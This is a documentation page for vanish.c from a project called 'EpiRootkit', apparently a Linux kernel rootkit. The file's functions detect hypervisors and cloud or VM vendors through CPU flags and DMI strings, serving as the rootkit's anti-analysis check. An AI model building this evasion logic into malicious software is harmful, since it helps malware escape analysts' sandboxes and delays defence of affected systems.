EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
vanish.c
Go to the documentation of this file.
1#include "vanish.h"
2
3#include <asm/cpufeature.h>
4#include <linux/dmi.h>
5
6#include "config.h"
7
16bool check_hypervisor(void) {
17 return boot_cpu_has(X86_FEATURE_HYPERVISOR);
18}
19
29bool check_dmi(void) {
30 static const struct dmi_system_id hypervisor_dmi_table[] = {
31 { .ident = "VMware", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "VMware") } },
32 { .ident = "VirtualBox",
33 .matches = { DMI_MATCH(DMI_SYS_VENDOR, "innotek GmbH") } },
34 { .ident = "QEMU", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "QEMU") } },
35 { .ident = "DigitalOcean",
36 .matches = { DMI_MATCH(DMI_SYS_VENDOR, "DigitalOcean") } },
37 { .ident = "OpenStack",
38 .matches = { DMI_MATCH(DMI_SYS_VENDOR, "OpenStack") } },
39 { .ident = "Scaleway", .matches = { DMI_MATCH(DMI_SYS_VENDOR, "Scaleway") } },
40 {}
41 };
42
43 return dmi_check_system(hypervisor_dmi_table) > 0;
44}
45
56 if (check_hypervisor()) {
57 ERR_MSG("vanish: hypervisor detected...");
58 return true;
59 }
60
61 if (check_dmi()) {
62 ERR_MSG("vanish: virtual environment detected...");
63 return true;
64 }
65
66 return false;
67}
#define ERR_MSG(fmt, args...)
Definition config.h:16
bool check_hypervisor(void)
Checks if the system is running under a hypervisor.
Definition vanish.c:16
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.
Definition vanish.c:55
bool check_dmi(void)
Checks if the system is running in a known virtualized environment.
Definition vanish.c:29